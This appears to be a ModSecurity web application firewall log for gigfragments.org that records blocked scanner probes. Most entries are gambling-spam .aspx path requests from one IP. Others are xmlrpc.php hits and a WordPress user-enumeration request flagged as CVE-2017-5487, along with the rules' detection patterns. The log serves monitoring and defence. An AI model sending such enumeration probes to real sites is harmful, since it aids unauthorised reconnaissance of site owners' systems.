[Wed Feb 18 11:39:46.106233 2026] [:error] [pid 57014:tid 57036] [client 43.135.130.202:48030] [client 43.135.130.202] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZU0ghNZnhS5qKtVIMKAcQAAARM"]
[Wed Feb 18 12:51:42.406252 2026] [:error] [pid 21961:tid 21987] [client 81.167.26.57:8385] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZVFXsUBDt_-H0ms3gX3IQAAANg"]
[Wed Feb 18 12:51:44.357563 2026] [:error] [pid 21848:tid 21905] [client 81.167.26.57:1610] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZVFYPbG91VRkVidT5e3IwAAAFA"]
[Wed Feb 18 12:51:46.321867 2026] [:error] [pid 57014:tid 57021] [client 81.167.26.57:59966] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZVFYhNZnhS5qKtVIMKabAAAAQQ"]
[Wed Feb 18 12:51:48.298152 2026] [:error] [pid 21848:tid 21891] [client 81.167.26.57:65215] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZVFZPbG91VRkVidT5e3OAAAAEI"]
[Wed Feb 18 12:51:50.285086 2026] [:error] [pid 21849:tid 21919] [client 81.167.26.57:47888] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZVFZrx9a1XrfTYnuzL7jwAAAIM"]
[Wed Feb 18 12:51:52.250677 2026] [:error] [pid 5561:tid 5566] [client 81.167.26.57:64072] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZVFaEoQssCZYQ4NexZj6QAAAUI"]
[Wed Feb 18 12:51:54.220349 2026] [:error] [pid 5561:tid 5587] [client 81.167.26.57:53743] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZVFakoQssCZYQ4NexZj7AAAAVc"]
[Wed Feb 18 12:51:56.199776 2026] [:error] [pid 21847:tid 21866] [client 81.167.26.57:48933] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZVFbPy9A5wy4LuXmJ2F6AAAAAg"]
[Wed Feb 18 12:51:58.170590 2026] [:error] [pid 21961:tid 21983] [client 81.167.26.57:31894] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZVFbsUBDt_-H0ms3gX3ZwAAANQ"]
[Wed Feb 18 12:52:00.151108 2026] [:error] [pid 5561:tid 5588] [client 81.167.26.57:23680] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZVFcEoQssCZYQ4NexZj-QAAAVg"]
[Wed Feb 18 12:52:02.117508 2026] [:error] [pid 21961:tid 21970] [client 81.167.26.57:11795] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZVFcsUBDt_-H0ms3gX3cAAAAMc"]
[Wed Feb 18 12:52:04.095633 2026] [:error] [pid 21847:tid 21859] [client 81.167.26.57:16814] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZVFdPy9A5wy4LuXmJ2F_AAAAAE"]
[Wed Feb 18 12:52:06.062047 2026] [:error] [pid 21961:tid 21971] [client 81.167.26.57:23754] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZVFdsUBDt_-H0ms3gX3gQAAAMg"]
[Wed Feb 18 12:52:08.011340 2026] [:error] [pid 21848:tid 21910] [client 81.167.26.57:33910] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZVFePbG91VRkVidT5e3YQAAAFU"]
[Wed Feb 18 12:52:09.993191 2026] [:error] [pid 5561:tid 5577] [client 81.167.26.57:47711] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZVFeUoQssCZYQ4NexZkCwAAAU0"]
[Wed Feb 18 12:52:11.969619 2026] [:error] [pid 21961:tid 21969] [client 81.167.26.57:44786] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZVFe8UBDt_-H0ms3gX3kgAAAMY"]
[Wed Feb 18 12:52:13.935844 2026] [:error] [pid 21847:tid 21881] [client 81.167.26.57:41343] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZVFffy9A5wy4LuXmJ2GHgAAABc"]
[Wed Feb 18 12:52:15.906598 2026] [:error] [pid 57014:tid 57021] [client 81.167.26.57:59550] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZVFfxNZnhS5qKtVIMKamAAAAQQ"]
[Wed Feb 18 12:52:17.880255 2026] [:error] [pid 21847:tid 21868] [client 81.167.26.57:63760] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZVFgfy9A5wy4LuXmJ2GKwAAAAo"]
[Wed Feb 18 12:52:19.716534 2026] [:error] [pid 21848:tid 21894] [client 81.167.26.57:43881] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZVFg_bG91VRkVidT5e3cQAAAEU"]
[Wed Feb 18 12:52:21.696107 2026] [:error] [pid 21961:tid 21970] [client 81.167.26.57:22283] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZVFhcUBDt_-H0ms3gX3rgAAAMc"]
[Wed Feb 18 12:52:23.665508 2026] [:error] [pid 21848:tid 21893] [client 81.167.26.57:23685] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZVFh_bG91VRkVidT5e3eQAAAEQ"]
[Wed Feb 18 12:52:25.646795 2026] [:error] [pid 21847:tid 21866] [client 81.167.26.57:22106] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZVFify9A5wy4LuXmJ2GOwAAAAg"]
[Wed Feb 18 12:52:27.624851 2026] [:error] [pid 21848:tid 21900] [client 81.167.26.57:6069] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZVFi_bG91VRkVidT5e3gQAAAEs"]
[Wed Feb 18 12:52:29.607746 2026] [:error] [pid 5561:tid 5581] [client 81.167.26.57:16486] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZVFjUoQssCZYQ4NexZkIwAAAVE"]
[Wed Feb 18 12:52:31.588506 2026] [:error] [pid 21849:tid 21940] [client 81.167.26.57:12642] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZVFj7x9a1XrfTYnuzL7yQAAAJg"]
[Wed Feb 18 12:52:33.406753 2026] [:error] [pid 5561:tid 5574] [client 81.167.26.57:49736] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZVFkUoQssCZYQ4NexZkJwAAAUo"]
[Wed Feb 18 12:52:35.392658 2026] [:error] [pid 5561:tid 5584] [client 81.167.26.57:46347] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZVFk0oQssCZYQ4NexZkKAAAAVQ"]
[Wed Feb 18 12:52:37.355886 2026] [:error] [pid 21847:tid 21865] [client 81.167.26.57:24675] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZVFlfy9A5wy4LuXmJ2GUgAAAAc"]
[Wed Feb 18 12:53:13.849966 2026] [:error] [pid 21847:tid 21870] [client 81.167.26.57:14251] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZVFufy9A5wy4LuXmJ2GygAAAAw"]
[Wed Feb 18 12:53:15.792090 2026] [:error] [pid 21849:tid 21926] [client 81.167.26.57:37990] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZVFu7x9a1XrfTYnuzL8OQAAAIo"]
[Wed Feb 18 12:53:17.757586 2026] [:error] [pid 21961:tid 21986] [client 81.167.26.57:55383] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZVFvcUBDt_-H0ms3gX4MAAAANc"]
[Wed Feb 18 12:53:19.737242 2026] [:error] [pid 21849:tid 21921] [client 81.167.26.57:29547] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZVFv7x9a1XrfTYnuzL8QwAAAIU"]
[Wed Feb 18 12:53:21.699748 2026] [:error] [pid 5561:tid 5571] [client 81.167.26.57:36190] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZVFwUoQssCZYQ4NexZkdwAAAUc"]
[Wed Feb 18 12:53:23.536711 2026] [:error] [pid 21961:tid 21981] [client 81.167.26.57:60250] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZVFw8UBDt_-H0ms3gX4QwAAANI"]
[Wed Feb 18 12:53:25.496694 2026] [:error] [pid 57014:tid 57028] [client 81.167.26.57:63763] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZVFxRNZnhS5qKtVIMKbCwAAAQs"]
[Wed Feb 18 12:53:27.459731 2026] [:error] [pid 21848:tid 21896] [client 81.167.26.57:61603] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZVFx_bG91VRkVidT5e3_QAAAEc"]
[Wed Feb 18 12:53:29.432078 2026] [:error] [pid 57014:tid 57024] [client 81.167.26.57:37790] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZVFyRNZnhS5qKtVIMKbEAAAAQc"]
[Wed Feb 18 12:53:31.388839 2026] [:error] [pid 21961:tid 21984] [client 81.167.26.57:56770] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZVFy8UBDt_-H0ms3gX4WQAAANU"]
[Wed Feb 18 12:53:33.362294 2026] [:error] [pid 5561:tid 5583] [client 81.167.26.57:65070] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZVFzUoQssCZYQ4NexZkiAAAAVM"]
[Wed Feb 18 12:53:35.340223 2026] [:error] [pid 21849:tid 21927] [client 81.167.26.57:16409] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZVFz7x9a1XrfTYnuzL8ZwAAAIs"]
[Wed Feb 18 13:09:32.707605 2026] [:error] [pid 57014:tid 57025] [client 106.200.17.68:28810] [client 106.200.17.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.17.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZVJjBNZnhS5qKtVIMKhQgAAAQg"]
[Wed Feb 18 13:45:34.310641 2026] [:error] [pid 57014:tid 57019] [client 106.200.17.68:16867] [client 106.200.17.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZVR_hNZnhS5qKtVIMKt4AAAAQI"]
[Wed Feb 18 13:47:12.714208 2026] [:error] [pid 21849:tid 21930] [client 106.200.17.68:26757] [client 106.200.17.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.17.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZVSYLx9a1XrfTYnuzIOmgAAAI4"]
[Wed Feb 18 13:48:28.678944 2026] [:error] [pid 57014:tid 57026] [client 106.200.17.68:5840] [client 106.200.17.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.17.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZVSrBNZnhS5qKtVIMKutgAAAQk"]
[Wed Feb 18 13:49:46.604594 2026] [:error] [pid 21847:tid 21881] [client 106.200.17.68:15802] [client 106.200.17.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.17.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZVS-vy9A5wy4LuXmJ2duwAAABc"]
[Wed Feb 18 13:51:00.395231 2026] [:error] [pid 5561:tid 5582] [client 106.200.17.68:11233] [client 106.200.17.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.200.17.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZVTREoQssCZYQ4NexZ3nwAAAVI"]
[Wed Feb 18 15:33:17.732452 2026] [:error] [pid 57014:tid 57032] [client 54.37.252.192:33138] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZVrPRNZnhS5qKtVIMLStgAAAQ8"]
[Wed Feb 18 15:33:19.836057 2026] [:error] [pid 57014:tid 57021] [client 54.37.252.192:49562] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZVrPxNZnhS5qKtVIMLSuwAAAQQ"]
[Wed Feb 18 15:33:21.816885 2026] [:error] [pid 21847:tid 21859] [client 54.37.252.192:48032] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZVrQfy9A5wy4LuXmJ3HrAAAAAE"]
[Wed Feb 18 15:33:23.739352 2026] [:error] [pid 5561:tid 5565] [client 54.37.252.192:48042] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZVrQ0oQssCZYQ4NexaV0wAAAUE"]
[Wed Feb 18 15:33:25.789080 2026] [:error] [pid 21961:tid 21966] [client 54.37.252.192:48054] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZVrRcUBDt_-H0ms3gVI5gAAAMM"]
[Wed Feb 18 15:33:27.664474 2026] [:error] [pid 21961:tid 21968] [client 54.37.252.192:48066] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZVrR8UBDt_-H0ms3gVI8AAAAMU"]
[Wed Feb 18 15:33:29.766358 2026] [:error] [pid 21848:tid 21904] [client 54.37.252.192:48070] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZVrSfbG91VRkVidT5ftAQAAAE8"]
